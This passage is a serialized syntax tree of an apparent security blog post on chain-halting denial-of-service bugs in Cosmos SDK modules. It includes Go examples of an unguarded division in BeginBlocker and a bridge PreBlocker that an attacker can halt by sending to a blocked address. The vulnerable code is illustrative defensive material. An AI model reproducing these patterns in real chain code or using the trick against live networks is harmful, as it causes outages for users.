"value":480},{"type":23,"tag":141,"props":79711,"children":79712},{"style":725},[79713],{"type":29,"value":13540},{"type":23,"tag":141,"props":79715,"children":79716},{"style":154},[79717],{"type":29,"value":13480},{"type":23,"tag":141,"props":79719,"children":79720},{"class":143,"line":227},[79721],{"type":23,"tag":141,"props":79722,"children":79723},{"emptyLinePlaceholder":15},[79724],{"type":29,"value":719},{"type":23,"tag":141,"props":79726,"children":79727},{"class":143,"line":241},[79728,79733,79737,79742,79746,79751,79755,79760,79764,79768,79773,79777,79781,79785,79790],{"type":23,"tag":141,"props":79729,"children":79730},{"style":750},[79731],{"type":29,"value":79732}," RewardPerShare",{"type":23,"tag":141,"props":79734,"children":79735},{"style":160},[79736],{"type":29,"value":74901},{"type":23,"tag":141,"props":79738,"children":79739},{"style":750},[79740],{"type":29,"value":79741}," k",{"type":23,"tag":141,"props":79743,"children":79744},{"style":154},[79745],{"type":29,"value":322},{"type":23,"tag":141,"props":79747,"children":79748},{"style":750},[79749],{"type":29,"value":79750},"keeper",{"type":23,"tag":141,"props":79752,"children":79753},{"style":154},[79754],{"type":29,"value":322},{"type":23,"tag":141,"props":79756,"children":79757},{"style":184},[79758],{"type":29,"value":79759},"Shares",{"type":23,"tag":141,"props":79761,"children":79762},{"style":154},[79763],{"type":29,"value":12720},{"type":23,"tag":141,"props":79765,"children":79766},{"style":160},[79767],{"type":29,"value":3255},{"type":23,"tag":141,"props":79769,"children":79770},{"style":750},[79771],{"type":29,"value":79772}," k",{"type":23,"tag":141,"props":79774,"children":79775},{"style":154},[79776],{"type":29,"value":322},{"type":23,"tag":141,"props":79778,"children":79779},{"style":750},[79780],{"type":29,"value":79750},{"type":23,"tag":141,"props":79782,"children":79783},{"style":154},[79784],{"type":29,"value":322},{"type":23,"tag":141,"props":79786,"children":79787},{"style":184},[79788],{"type":29,"value":79789},"TotalReward",{"type":23,"tag":141,"props":79791,"children":79792},{"style":154},[79793],{"type":29,"value":6410},{"type":23,"tag":141,"props":79795,"children":79796},{"class":143,"line":262},[79797,79802,79806,79810,79814,79819,79823,79828],{"type":23,"tag":141,"props":79798,"children":79799},{"style":750},[79800],{"type":29,"value":79801}," k",{"type":23,"tag":141,"props":79803,"children":79804},{"style":154},[79805],{"type":29,"value":322},{"type":23,"tag":141,"props":79807,"children":79808},{"style":750},[79809],{"type":29,"value":79750},{"type":23,"tag":141,"props":79811,"children":79812},{"style":154},[79813],{"type":29,"value":322},{"type":23,"tag":141,"props":79815,"children":79816},{"style":184},[79817],{"type":29,"value":79818},"DistributeReward",{"type":23,"tag":141,"props":79820,"children":79821},{"style":154},[79822],{"type":29,"value":192},{"type":23,"tag":141,"props":79824,"children":79825},{"style":750},[79826],{"type":29,"value":79827},"RewardPerShare",{"type":23,"tag":141,"props":79829,"children":79830},{"style":154},[79831],{"type":29,"value":758},{"type":23,"tag":141,"props":79833,"children":79834},{"class":143,"line":271},[79835],{"type":23,"tag":141,"props":79836,"children":79837},{"emptyLinePlaceholder":15},[79838],{"type":29,"value":719},{"type":23,"tag":141,"props":79840,"children":79841},{"class":143,"line":293},[79842,79846,79850,79854,79858,79863,79867],{"type":23,"tag":141,"props":79843,"children":79844},{"style":148},[79845],{"type":29,"value":15665},{"type":23,"tag":141,"props":79847,"children":79848},{"style":160},[79849],{"type":29,"value":5815},{"type":23,"tag":141,"props":79851,"children":79852},{"style":750},[79853],{"type":29,"value":4432},{"type":23,"tag":141,"props":79855,"children":79856},{"style":154},[79857],{"type":29,"value":322},{"type":23,"tag":141,"props":79859,"children":79860},{"style":750},[79861],{"type":29,"value":79862},"MsgAllocateRewardResponse",{"type":23,"tag":141,"props":79864,"children":79865},{"style":154},[79866],{"type":29,"value":480},{"type":23,"tag":141,"props":79868,"children":79869},{"style":449},[79870],{"type":29,"value":75127},{"type":23,"tag":141,"props":79872,"children":79873},{"class":143,"line":801},[79874],{"type":23,"tag":141,"props":79875,"children":79876},{"style":154},[79877],{"type":29,"value":2573},{"type":23,"tag":32,"props":79879,"children":79880},{},[79881,79883,79889,79890,79896,79897,79903,79905,79910],{"type":29,"value":79882},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":23,"tag":38,"props":79884,"children":79886},{"className":79885},[],[79887],{"type":29,"value":79888},"PreBlocker",{"type":29,"value":480},{"type":23,"tag":38,"props":79891,"children":79893},{"className":79892},[],[79894],{"type":29,"value":79895},"BeginBlocker",{"type":29,"value":5161},{"type":23,"tag":38,"props":79898,"children":79900},{"className":79899},[],[79901],{"type":29,"value":79902},"EndBlocker",{"type":29,"value":79904},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":23,"tag":38,"props":79906,"children":79908},{"className":79907},[],[79909],{"type":29,"value":79895},{"type":29,"value":79911}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":23,"tag":131,"props":79913,"children":79915},{"code":79914,"language":74649,"meta":7,"className":74650,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n RewardPerShare := keeper.Shares() / keeper.TotalReward()\n keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[79916],{"type":23,"tag":38,"props":79917,"children":79918},{"__ignoreMap":7},[79919,79984,79991,80039,80067,80074,80086],{"type":23,"tag":141,"props":79920,"children":79921},{"class":143,"line":144},[79922,79926,79931,79935,79939,79943,79947,79951,79955,79959,79964,79968,79972,79976,79980],{"type":23,"tag":141,"props":79923,"children":79924},{"style":449},[79925],{"type":29,"value":74785},{"type":23,"tag":141,"props":79927,"children":79928},{"style":184},[79929],{"type":29,"value":79930}," BeginBlocker",{"type":23,"tag":141,"props":79932,"children":79933},{"style":154},[79934],{"type":29,"value":192},{"type":23,"tag":141,"props":79936,"children":79937},{"style":750},[79938],{"type":29,"value":18952},{"type":23,"tag":141,"props":79940,"children":79941},{"style":725},[79942],{"type":29,"value":74825},{"type":23,"tag":141,"props":79944,"children":79945},{"style":154},[79946],{"type":29,"value":322},{"type":23,"tag":141,"props":79948,"children":79949},{"style":725},[79950],{"type":29,"value":74834},{"type":23,"tag":141,"props":79952,"children":79953},{"style":154},[79954],{"type":29,"value":480},{"type":23,"tag":141,"props":79956,"children":79957},{"style":750},[79958],{"type":29,"value":79750},{"type":23,"tag":141,"props":79960,"children":79961},{"style":725},[79962],{"type":29,"value":79963}," keeper",{"type":23,"tag":141,"props":79965,"children":79966},{"style":154},[79967],{"type":29,"value":322},{"type":23,"tag":141,"props":79969,"children":79970},{"style":725},[79971],{"type":29,"value":78430},{"type":23,"tag":141,"props":79973,"children":79974},{"style":154},[79975],{"type":29,"value":1748},{"type":23,"tag":141,"props":79977,"children":79978},{"style":725},[79979],{"type":29,"value":13540},{"type":23,"tag":141,"props":79981,"children":79982},{"style":154},[79983],{"type":29,"value":1951},{"type":23,"tag":141,"props":79985,"children":79986},{"class":143,"line":180},[79987],{"type":23,"tag":141,"props":79988,"children":79989},{"emptyLinePlaceholder":15},[79990],{"type":29,"value":719},{"type":23,"tag":141,"props":79992,"children":79993},{"class":143,"line":205},[79994,79998,80002,80006,80010,80014,80018,80022,80027,80031,80035],{"type":23,"tag":141,"props":79995,"children":79996},{"style":750},[79997],{"type":29,"value":79732},{"type":23,"tag":141,"props":79999,"children":80000},{"style":160},[80001],{"type":29,"value":74901},{"type":23,"tag":141,"props":80003,"children":80004},{"style":750},[80005],{"type":29,"value":79963},{"type":23,"tag":141,"props":80007,"children":80008},{"style":154},[80009],{"type":29,"value":322},{"type":23,"tag":141,"props":80011,"children":80012},{"style":184},[80013],{"type":29,"value":79759},{"type":23,"tag":141,"props":80015,"children":80016},{"style":154},[80017],{"type":29,"value":12720},{"type":23,"tag":141,"props":80019,"children":80020},{"style":160},[80021],{"type":29,"value":3255},{"type":23,"tag":141,"props":80023,"children":80024},{"style":750},[80025],{"type":29,"value":80026}," keeper",{"type":23,"tag":141,"props":80028,"children":80029},{"style":154},[80030],{"type":29,"value":322},{"type":23,"tag":141,"props":80032,"children":80033},{"style":184},[80034],{"type":29,"value":79789},{"type":23,"tag":141,"props":80036,"children":80037},{"style":154},[80038],{"type":29,"value":6410},{"type":23,"tag":141,"props":80040,"children":80041},{"class":143,"line":218},[80042,80047,80051,80055,80059,80063],{"type":23,"tag":141,"props":80043,"children":80044},{"style":750},[80045],{"type":29,"value":80046}," keeper",{"type":23,"tag":141,"props":80048,"children":80049},{"style":154},[80050],{"type":29,"value":322},{"type":23,"tag":141,"props":80052,"children":80053},{"style":184},[80054],{"type":29,"value":79818},{"type":23,"tag":141,"props":80056,"children":80057},{"style":154},[80058],{"type":29,"value":192},{"type":23,"tag":141,"props":80060,"children":80061},{"style":750},[80062],{"type":29,"value":79827},{"type":23,"tag":141,"props":80064,"children":80065},{"style":154},[80066],{"type":29,"value":758},{"type":23,"tag":141,"props":80068,"children":80069},{"class":143,"line":227},[80070],{"type":23,"tag":141,"props":80071,"children":80072},{"emptyLinePlaceholder":15},[80073],{"type":29,"value":719},{"type":23,"tag":141,"props":80075,"children":80076},{"class":143,"line":241},[80077,80081],{"type":23,"tag":141,"props":80078,"children":80079},{"style":148},[80080],{"type":29,"value":51345},{"type":23,"tag":141,"props":80082,"children":80083},{"style":449},[80084],{"type":29,"value":80085}," nil\n",{"type":23,"tag":141,"props":80087,"children":80088},{"class":143,"line":262},[80089],{"type":23,"tag":141,"props":80090,"children":80091},{"style":154},[80092],{"type":29,"value":2573},{"type":23,"tag":8287,"props":80094,"children":80096},{"id":80095},"real-world-examples-3",[80097],{"type":29,"value":75174},{"type":23,"tag":32,"props":80099,"children":80100},{},[80101],{"type":29,"value":80102},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":23,"tag":32,"props":80104,"children":80105},{},[80106,80108,80114,80116,80121,80123,80129,80131,80137,80139,80145],{"type":29,"value":80107},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":23,"tag":38,"props":80109,"children":80111},{"className":80110},[],[80112],{"type":29,"value":80113},"bankKeeper.SendCoinsFromModuleToAccount",{"type":29,"value":80115}," will be bubbled up through ",{"type":23,"tag":38,"props":80117,"children":80119},{"className":80118},[],[80120],{"type":29,"value":79888},{"type":29,"value":80122}," and halt the chain. It turns out an attacker can force ",{"type":23,"tag":38,"props":80124,"children":80126},{"className":80125},[],[80127],{"type":29,"value":80128},"SendCoinsFromModuleToAccount",{"type":29,"value":80130}," to return an error by setting ",{"type":23,"tag":38,"props":80132,"children":80134},{"className":80133},[],[80135],{"type":29,"value":80136},"recipient",{"type":29,"value":80138}," to some ",{"type":23,"tag":38,"props":80140,"children":80142},{"className":80141},[],[80143],{"type":29,"value":80144},"BlockedAddr",{"type":29,"value":80146},",rendering the code susceptible to DoS attacks.",{"type":23,"tag":32,"props":80148,"children":80149},{},[80150],{"type":23,"tag":55,"props":80151,"children":80154},{"href":80152,"rel":80153},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[59],[80155],{"type":29,"value":75224},{"type":23,"tag":131,"props":80157,"children":80159},{"code":80158,"language":74649,"meta":7,"className":74650,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n return func(\n ctx sdk.Context,\n req *cmtabci.RequestFinalizeBlock,\n ) (*sdk.ResponsePreBlock, error) {\n ...\n err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n if err != nil {\n return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n }\n ...\n }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n ctx sdk.Context,\n events types.AssetsLockedEvents,\n) error {\n ...\n for _, event := range events {\n recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n if err != nil {\n return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n }\n\n if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n err = k.mintBTC(ctx, recipient, event.Amount)\n if err != nil {\n return fmt.Errorf(\n \"failed to mint BTC for event %v: %w\",\n event.Sequence,\n err,\n )\n }\n } else {\n ...\n }\n }\n ...\n}\n\nfunc (k Keeper) mintBTC(\n ctx sdk.Context,\n recipient sdk.AccAddress,\n amount math.Int,\n) error {\n ...\n err = k.bankKeeper.SendCoinsFromModuleToAccount(\n ctx,\n types.ModuleName,\n recipient,\n coins,\n )\n if err != nil {\n return fmt.Errorf(\"failed to send coins: %w\", err)\n }\n ...\n}\n",[80160],{"type":23,"tag":38,"props":80161,"children":80162},{"__ignoreMap":7},[80163,80216,80231,80254,80284,80320,80328,80384,80408,80458,80465,80472,80479,80486,80493,80524,80547,80572,80587,80594,80631,80685,80708,80749,80756,80763,80814,80875,80898,80921,80933,80954,80966,80974,80981,80996,81004,81011,81018,81025,81032,81039,81070,81093,81118,81143,81158,81165,81202,81213,81234,81245,81257,81264,81287,81327,81334,81341],{"type":23,"tag":141,"props":80164,"children":80165},{"class":143,"line":144},[80166,80170,80174,80179,80183,80188,80192,80196,80200,80204,80208,80212],{"type":23,"tag":141,"props":80167,"children":80168},{"style":449},[80169],{"type":29,"value":74785},{"type":23,"tag":141,"props":80171,"children":80172},{"style":154},[80173],{"type":29,"value":1220},{"type":23,"tag":141,"props":80175,"children":80176},{"style":750},[80177],{"type":29,"value":80178},"pbh ",{"type":23,"tag":141,"props":80180,"children":80181},{"style":160},[80182],{"type":29,"value":197},{"type":23,"tag":141,"props":80184,"children":80185},{"style":725},[80186],{"type":29,"value":80187},"PreBlockHandler",{"type":23,"tag":141,"props":80189,"children":80190},{"style":154},[80191],{"type":29,"value":1748},{"type":23,"tag":141,"props":80193,"children":80194},{"style":184},[80195],{"type":29,"value":79888},{"type":23,"tag":141,"props":80197,"children":80198},{"style":154},[80199],{"type":29,"value":12720},{"type":23,"tag":141,"props":80201,"children":80202},{"style":725},[80203],{"type":29,"value":77215},{"type":23,"tag":141,"props":80205,"children":80206},{"style":154},[80207],{"type":29,"value":322},{"type":23,"tag":141,"props":80209,"children":80210},{"style":725},[80211],{"type":29,"value":79888},{"type":23,"tag":141,"props":80213,"children":80214},{"style":154},[80215],{"type":29,"value":1951},{"type":23,"tag":141,"props":80217,"children":80218},{"class":143,"line":180},[80219,80223,80227],{"type":23,"tag":141,"props":80220,"children":80221},{"style":148},[80222],{"type":29,"value":15665},{"type":23,"tag":141,"props":80224,"children":80225},{"style":449},[80226],{"type":29,"value":78494},{"type":23,"tag":141,"props":80228,"children":80229},{"style":154},[80230],{"type":29,"value":2123},{"type":23,"tag":141,"props":80232,"children":80233},{"class":143,"line":205},[80234,80238,80242,80246,80250],{"type":23,"tag":141,"props":80235,"children":80236},{"style":750},[80237],{"type":29,"value":24870},{"type":23,"tag":141,"props":80239,"children":80240},{"style":725},[80241],{"type":29,"value":77126},{"type":23,"tag":141,"props":80243,"children":80244},{"style":154},[80245],{"type":29,"value":322},{"type":23,"tag":141,"props":80247,"children":80248},{"style":725},[80249],{"type":29,"value":74834},{"type":23,"tag":141,"props":80251,"children":80252},{"style":154},[80253],{"type":29,"value":2168},{"type":23,"tag":141,"props":80255,"children":80256},{"class":143,"line":218},[80257,80262,80266,80271,80275,80280],{"type":23,"tag":141,"props":80258,"children":80259},{"style":750},[80260],{"type":29,"value":80261}," req",{"type":23,"tag":141,"props":80263,"children":80264},{"style":160},[80265],{"type":29,"value":8496},{"type":23,"tag":141,"props":80267,"children":80268},{"style":725},[80269],{"type":29,"value":80270},"cmtabci",{"type":23,"tag":141,"props":80272,"children":80273},{"style":154},[80274],{"type":29,"value":322},{"type":23,"tag":141,"props":80276,"children":80277},{"style":725},[80278],{"type":29,"value":80279},"RequestFinalizeBlock",{"type":23,"tag":141,"props":80281,"children":80282},{"style":154},[80283],{"type":29,"value":2168},{"type":23,"tag":141,"props":80285,"children":80286},{"class":143,"line":227},[80287,80291,80295,80299,80303,80308,80312,80316],{"type":23,"tag":141,"props":80288,"children":80289},{"style":154},[80290],{"type":29,"value":78562},{"type":23,"tag":141,"props":80292,"children":80293},{"style":160},[80294],{"type":29,"value":197},{"type":23,"tag":141,"props":80296,"children":80297},{"style":725},[80298],{"type":29,"value":77215},{"type":23,"tag":141,"props":80300,"children":80301},{"style":154},[80302],{"type":29,"value":322},{"type":23,"tag":141,"props":80304,"children":80305},{"style":725},[80306],{"type":29,"value":80307},"ResponsePreBlock",{"type":23,"tag":141,"props":80309,"children":80310},{"style":154},[80311],{"type":29,"value":480},{"type":23,"tag":141,"props":80313,"children":80314},{"style":725},[80315],{"type":29,"value":13540},{"type":23,"tag":141,"props":80317,"children":80318},{"style":154},[80319],{"type":29,"value":13480},{"type":23,"tag":141,"props":80321,"children":80322},{"class":143,"line":241},[80323],{"type":23,"tag":141,"props":80324,"children":80325},{"style":160},[80326],{"type":29,"value":80327}," ...\n",{"type":23,"tag":141,"props":80329,"children":80330},{"class":143,"line":262},[80331,80336,80340,80345,80349,80354,80358,80363,80367,80371,80375,80380],{"type":23,"tag":141,"props":80332,"children":80333},{"style":750},[80334],{"type":29,"value":80335}," err",{"type":23,"tag":141,"props":80337,"children":80338},{"style":160},[80339],{"type":29,"value":74901},{"type":23,"tag":141,"props":80341,"children":80342},{"style":750},[80343],{"type":29,"value":80344}," pbh",{"type":23,"tag":141,"props":80346,"children":80347},{"style":154},[80348],{"type":29,"value":322},{"type":23,"tag":141,"props":80350,"children":80351},{"style":750},[80352],{"type":29,"value":80353},"bridgeKeeper",{"type":23,"tag":141,"props":80355,"children":80356},{"style":154},[80357],{"type":29,"value":322},{"type":23,"tag":141,"props":80359,"children":80360},{"style":184},[80361],{"type":29,"value":80362},"AcceptAssetsLocked",{"type":23,"tag":141,"props":80364,"children":80365},{"style":154},[80366],{"type":29,"value":192},{"type":23,"tag":141,"props":80368,"children":80369},{"style":750},[80370],{"type":29,"value":18952},{"type":23,"tag":141,"props":80372,"children":80373},{"style":154},[80374],{"type":29,"value":480},{"type":23,"tag":141,"props":80376,"children":80377},{"style":750},[80378],{"type":29,"value":80379},"events",{"type":23,"tag":141,"props":80381,"children":80382},{"style":154},[80383],{"type":29,"value":758},{"type":23,"tag":141,"props":80385,"children":80386},{"class":143,"line":271},[80387,80391,80395,80399,80404],{"type":23,"tag":141,"props":80388,"children":80389},{"style":148},[80390],{"type":29,"value":233},{"type":23,"tag":141,"props":80392,"children":80393},{"style":750},[80394],{"type":29,"value":46999},{"type":23,"tag":141,"props":80396,"children":80397},{"style":160},[80398],{"type":29,"value":62868},{"type":23,"tag":141,"props":80400,"children":80401},{"style":449},[80402],{"type":29,"value":80403}," nil",{"type":23,"tag":141,"props":80405,"children":80406},{"style":154},[80407],{"type":29,"value":1951},{"type":23,"tag":141,"props":80409,"children":80410},{"class":143,"line":293},[80411,80415,80419,80423,80428,80432,80437,80441,80446,80450,80454],{"type":23,"tag":141,"props":80412,"children":80413},{"style":148},[80414],{"type":29,"value":77561},{"type":23,"tag":141,"props":80416,"children":80417},{"style":449},[80418],{"type":29,"value":80403},{"type":23,"tag":141,"props":80420,"children":80421},{"style":154},[80422],{"type":29,"value":480},{"type":23,"tag":141,"props":80424,"children":80425},{"style":750},[80426],{"type":29,"value":80427},"fmt",{"type":23,"tag":141,"props":80429,"children":80430},{"style":154},[80431],{"type":29,"value":322},{"type":23,"tag":141,"props":80433,"children":80434},{"style":184},[80435],{"type":29,"value":80436},"Errorf",{"type":23,"tag":141,"props":80438,"children":80439},{"style":154},[80440],{"type":29,"value":192},{"type":23,"tag":141,"props":80442,"children":80443},{"style":828},[80444],{"type":29,"value":80445},"\"cannot accept AssetsLocked events: %w\"",{"type":23,"tag":141,"props":80447,"children":80448},{"style":154},[80449],{"type":29,"value":480},{"type":23,"tag":141,"props":80451,"children":80452},{"style":750},[80453],{"type":29,"value":46898},{"type":23,"tag":141,"props":80455,"children":80456},{"style":154},[80457],{"type":29,"value":758},{"type":23,"tag":141,"props":80459,"children":80460},{"class":143,"line":801},[80461],{"type":23,"tag":141,"props":80462,"children":80463},{"style":154},[80464],{"type":29,"value":2008},{"type":23,"tag":141,"props":80466,"children":80467},{"class":143,"line":810},[80468],{"type":23,"tag":141,"props":80469,"children":80470},{"style":160},[80471],{"type":29,"value":80327},{"type":23,"tag":141,"props":80473,"children":80474},{"class":143,"line":824},[80475],{"type":23,"tag":141,"props":80476,"children":80477},{"style":154},[80478],{"type":29,"value":299},{"type":23,"tag":141,"props":80480,"children":80481},{"class":143,"line":839},[80482],{"type":23,"tag":141,"props":80483,"children":80484},{"style":154},[80485],{"type":29,"value":2573},{"type":23,"tag":141,"props":80487,"children":80488},{"class":143,"line":848},[80489],{"type":23,"tag":141,"props":80490,"children":80491},{"emptyLinePlaceholder":15},[80492],{"type":29,"value":719},{"type":23,"tag":141,"props":80494,"children":80495},{"class":143,"line":2304},[80496,80500,80504,80508,80512,80516,80520],{"type":23,"tag":141,"props":80497,"children":80498},{"style":449},[80499],{"type":29,"value":74785},{"type":23,"tag":141,"props":80501,"children":80502},{"style":154},[80503],{"type":29,"value":1220},{"type":23,"tag":141,"props":80505,"children":80506},{"style":750},[80507],{"type":29,"value":79613},{"type":23,"tag":141,"props":80509,"children":80510},{"style":725},[80511],{"type":29,"value":78430},{"type":23,"tag":141,"props":80513,"children":80514},{"style":154},[80515],{"type":29,"value":1748},{"type":23,"tag":141,"props":80517,"children":80518},{"style":184},[80519],{"type":29,"value":80362},{"type":23,"tag":141,"props":80521,"children":80522},{"style":154},[80523],{"type":29,"value":2123},{"type":23,"tag":141,"props":80525,"children":80526},{"class":143,"line":2313},[80527,80531,80535,80539,80543],{"type":23,"tag":141,"props":80528,"children":80529},{"style":750},[80530],{"type":29,"value":18895},{"type":23,"tag":141,"props":80532,"children":80533},{"style":725},[80534],{"type":29,"value":77126},{"type":23,"tag":141,"props":80536,"children":80537},{"style":154},[80538],{"type":29,"value":322},{"type":23,"tag":141,"props":80540,"children":80541},{"style":725},[80542],{"type":29,"value":74834},{"type":23,"tag":141,"props":80544,"children":80545},{"style":154},[80546],{"type":29,"value":2168},{"type":23,"tag":141,"props":80548,"children":80549},{"class":143,"line":2335},[80550,80555,80559,80563,80568],{"type":23,"tag":141,"props":80551,"children":80552},{"style":750},[80553],{"type":29,"value":80554}," events",{"type":23,"tag":141,"props":80556,"children":80557},{"style":725},[80558],{"type":29,"value":76660},{"type":23,"tag":141,"props":80560,"children":80561},{"style":154},[80562],{"type":29,"value":322},{"type":23,"tag":141,"props":80564,"children":80565},{"style":725},[80566],{"type":29,"value":80567},"AssetsLockedEvents",{"type":23,"tag":141,"props":80569,"children":80570},{"style":154},[80571],{"type":29,"value":2168},{"type":23,"tag":141,"props":80573,"children":80574},{"class":143,"line":2343},[80575,80579,80583],{"type":23,"tag":141,"props":80576,"children":80577},{"style":154},[80578],{"type":29,"value":1748},{"type":23,"tag":141,"props":80580,"children":80581},{"style":725},[80582],{"type":29,"value":13540},{"type":23,"tag":141,"props":80584,"children":80585},{"style":154},[80586],{"type":29,"value":1951},{"type":23,"tag":141,"props":80588,"children":80589},{"class":143,"line":2352},[80590],{"type":23,"tag":141,"props":80591,"children":80592},{"style":160},[80593],{"type":29,"value":19011},{"type":23,"tag":141,"props":80595,"children":80596},{"class":143,"line":2421},[80597,80601,80605,80609,80614,80618,80622,80627],{"type":23,"tag":141,"props":80598,"children":80599},{"style":148},[80600],{"type":29,"value":1692},{"type":23,"tag":141,"props":80602,"children":80603},{"style":750},[80604],{"type":29,"value":1697},{"type":23,"tag":141,"props":80606,"children":80607},{"style":154},[80608],{"type":29,"value":480},{"type":23,"tag":141,"props":80610,"children":80611},{"style":750},[80612],{"type":29,"value":80613},"event",{"type":23,"tag":141,"props":80615,"children":80616},{"style":160},[80617],{"type":29,"value":74901},{"type":23,"tag":141,"props":80619,"children":80620},{"style":148},[80621],{"type":29,"value":75884},{"type":23,"tag":141,"props":80623,"children":80624},{"style":750},[80625],{"type":29,"value":80626}," events",{"type":23,"tag":141,"props":80628,"children":80629},{"style":154},[80630],{"type":29,"value":1951},{"type":23,"tag":141,"props":80632,"children":80633},{"class":143,"line":2429},[80634,80639,80643,80647,80651,80655,80659,80664,80668,80672,80676,80681],{"type":23,"tag":141,"props":80635,"children":80636},{"style":750},[80637],{"type":29,"value":80638}," recipient",{"type":23,"tag":141,"props":80640,"children":80641},{"style":154},[80642],{"type":29,"value":480},{"type":23,"tag":141,"props":80644,"children":80645},{"style":750},[80646],{"type":29,"value":46898},{"type":23,"tag":141,"props":80648,"children":80649},{"style":160},[80650],{"type":29,"value":74901},{"type":23,"tag":141,"props":80652,"children":80653},{"style":750},[80654],{"type":29,"value":77126},{"type":23,"tag":141,"props":80656,"children":80657},{"style":154},[80658],{"type":29,"value":322},{"type":23,"tag":141,"props":80660,"children":80661},{"style":184},[80662],{"type":29,"value":80663},"AccAddressFromBech32",{"type":23,"tag":141,"props":80665,"children":80666},{"style":154},[80667],{"type":29,"value":192},{"type":23,"tag":141,"props":80669,"children":80670},{"style":750},[80671],{"type":29,"value":80613},{"type":23,"tag":141,"props":80673,"children":80674},{"style":154},[80675],{"type":29,"value":322},{"type":23,"tag":141,"props":80677,"children":80678},{"style":750},[80679],{"type":29,"value":80680},"Recipient",{"type":23,"tag":141,"props":80682,"children":80683},{"style":154},[80684],{"type":29,"value":758},{"type":23,"tag":141,"props":80686,"children":80687},{"class":143,"line":2459},[80688,80692,80696,80700,80704],{"type":23,"tag":141,"props":80689,"children":80690},{"style":148},[80691],{"type":29,"value":233},{"type":23,"tag":141,"props":80693,"children":80694},{"style":750},[80695],{"type":29,"value":46999},{"type":23,"tag":141,"props":80697,"children":80698},{"style":160},[80699],{"type":29,"value":62868},{"type":23,"tag":141,"props":80701,"children":80702},{"style":449},[80703],{"type":29,"value":80403},{"type":23,"tag":141,"props":80705,"children":80706},{"style":154},[80707],{"type":29,"value":1951},{"type":23,"tag":141,"props":80709,"children":80710},{"class":143,"line":2467},[80711,80715,80720,80724,80728,80732,80737,80741,80745],{"type":23,"tag":141,"props":80712,"children":80713},{"style":148},[80714],{"type":29,"value":77561},{"type":23,"tag":141,"props":80716,"children":80717},{"style":750},[80718],{"type":29,"value":80719}," fmt",{"type":23,"tag":141,"props":80721,"children":80722},{"style":154},[80723],{"type":29,"value":322},{"type":23,"tag":141,"props":80725,"children":80726},{"style":184},[80727],{"type":29,"value":80436},{"type":23,"tag":141,"props":80729,"children":80730},{"style":154},[80731],{"type":29,"value":192},{"type":23,"tag":141,"props":80733,"children":80734},{"style":828},[80735],{"type":29,"value":80736},"\"failed to parse recipient address: %w\"",{"type":23,"tag":141,"props":80738,"children":80739},{"style":154},[80740],{"type":29,"value":480},{"type":23,"tag":141,"props":80742,"children":80743},{"style":750},[80744],{"type":29,"value":46898},{"type":23,"tag":141,"props":80746,"children":80747},{"style":154},[80748],{"type":29,"value":758},{"type":23,"tag":141,"props":80750,"children":80751},{"class":143,"line":2499},[80752],{"type":23,"tag":141,"props":80753,"children":80754},{"style":154},[80755],{"type":29,"value":2008},{"type":23,"tag":141,"props":80757,"children":80758},{"class":143,"line":2507},[80759],{"type":23,"tag":141,"props":80760,"children":80761},{"emptyLinePlaceholder":15},[80762],{"type":29,"value":719},{"type":23,"tag":141,"props":80764,"children":80765},{"class":143,"line":2567},[80766,80770,80775,80779,80784,80788,80792,80796,80801,80805,80810],{"type":23,"tag":141,"props":80767,"children":80768},{"style":148},[80769],{"type":29,"value":233},{"type":23,"tag":141,"props":80771,"children":80772},{"style":750},[80773],{"type":29,"value":80774}," bytes",{"type":23,"tag":141,"props":80776,"children":80777},{"style":154},[80778],{"type":29,"value":322},{"type":23,"tag":141,"props":80780,"children":80781},{"style":184},[80782],{"type":29,"value":80783},"Equal",{"type":23,"tag":141,"props":80785,"children":80786},{"style":154},[80787],{"type":29,"value":192},{"type":23,"tag":141,"props":80789,"children":80790},{"style":750},[80791],{"type":29,"value":80613},{"type":23,"tag":141,"props":80793,"children":80794},{"style":154},[80795],{"type":29,"value":322},{"type":23,"tag":141,"props":80797,"children":80798},{"style":184},[80799],{"type":29,"value":80800},"TokenBytes",{"type":23,"tag":141,"props":80802,"children":80803},{"style":154},[80804],{"type":29,"value":17053},{"type":23,"tag":141,"props":80806,"children":80807},{"style":750},[80808],{"type":29,"value":80809},"sourceBTCToken",{"type":23,"tag":141,"props":80811,"children":80812},{"style":154},[80813],{"type":29,"value":13480},{"type":23,"tag":141,"props":80815,"children":80816},{"class":143,"line":7724},[80817,80822,80826,80830,80834,80839,80843,80847,80851,80855,80859,80863,80867,80871],{"type":23,"tag":141,"props":80818,"children":80819},{"style":750},[80820],{"type":29,"value":80821}," err",{"type":23,"tag":141,"props":80823,"children":80824},{"style":160},[80825],{"type":29,"value":1674},{"type":23,"tag":141,"props":80827,"children":80828},{"style":750},[80829],{"type":29,"value":79741},{"type":23,"tag":141,"props":80831,"children":80832},{"style":154},[80833],{"type":29,"value":322},{"type":23,"tag":141,"props":80835,"children":80836},{"style":184},[80837],{"type":29,"value":80838},"mintBTC",{"type":23,"tag":141,"props":80840,"children":80841},{"style":154},[80842],{"type":29,"value":192},{"type":23,"tag":141,"props":80844,"children":80845},{"style":750},[80846],{"type":29,"value":18952},{"type":23,"tag":141,"props":80848,"children":80849},{"style":154},[80850],{"type":29,"value":480},{"type":23,"tag":141,"props":80852,"children":80853},{"style":750},[80854],{"type":29,"value":80136},{"type":23,"tag":141,"props":80856,"children":80857},{"style":154},[80858],{"type":29,"value":480},{"type":23,"tag":141,"props":80860,"children":80861},{"style":750},[80862],{"type":29,"value":80613},{"type":23,"tag":141,"props":80864,"children":80865},{"style":154},[80866],{"type":29,"value":322},